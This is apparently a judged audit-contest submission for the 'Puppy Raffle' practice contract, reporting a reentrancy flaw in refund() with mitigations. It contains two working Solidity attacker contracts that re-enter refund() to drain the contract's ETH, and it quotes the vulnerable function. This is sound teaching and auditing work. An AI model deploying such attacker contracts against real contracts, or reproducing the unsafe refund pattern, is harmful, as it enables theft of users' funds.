Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

H-1: Reentrancy in refund() allows draining contract ETH

Description

Severity: High

The refund() function in PuppyRaffle.sol:96-105 sends ETH to the caller via sendValue before updating the players array state. This violates the checks-effects-interactions pattern and enables a classic reentrancy attack.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); // @audit ETH sent BEFORE state update
players[playerIndex] = address(0); // @audit state updated AFTER external call
emit RaffleRefunded(playerAddress);
}

When sendValue transfers ETH to the caller, a malicious contract's receive() function can re-enter refund() with the same playerIndex. Since players[playerIndex] has not been zeroed out yet, the re-entrant call passes both require checks and sends another entranceFee worth of ETH. This loop continues until the contract is fully drained.

Proof of Concept

contract ReentrancyAttacker {
PuppyRaffle target;
uint256 myIndex;
constructor(PuppyRaffle _target) { target = _target; }
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
target.enterRaffle{value: msg.value}(players);
myIndex = target.getActivePlayerIndex(address(this));
target.refund(myIndex);
}
receive() external payable {
if (address(target).balance >= target.entranceFee()) {
target.refund(myIndex);
}
}
}
  1. Attacker deploys ReentrancyAttacker and calls attack() with 1 entrance fee

  2. Contract enters raffle, then calls refund()

  3. refund() sends ETH at line 101, triggering receive(), which re-enters refund()

  4. Loop repeats until contract balance is zero

  5. Attacker profits: all contract ETH minus 1 entrance fee

Risk

  • Impact: High — direct drain of all contract ETH including player entrance fees and accumulated protocol fees. Complete loss of funds for all participants.

  • Likelihood: High — trivial to exploit with a basic attacker contract, requires no special access or prerequisites.

Recommended Mitigation

Apply the checks-effects-interactions pattern by updating state before making the external call at PuppyRaffle.sol:101-103:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// Effects: update state BEFORE external call
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
// Interactions: external call LAST
payable(msg.sender).sendValue(entranceFee);
}

Alternatively, add OpenZeppelin's ReentrancyGuard and apply the nonReentrant modifier to refund().

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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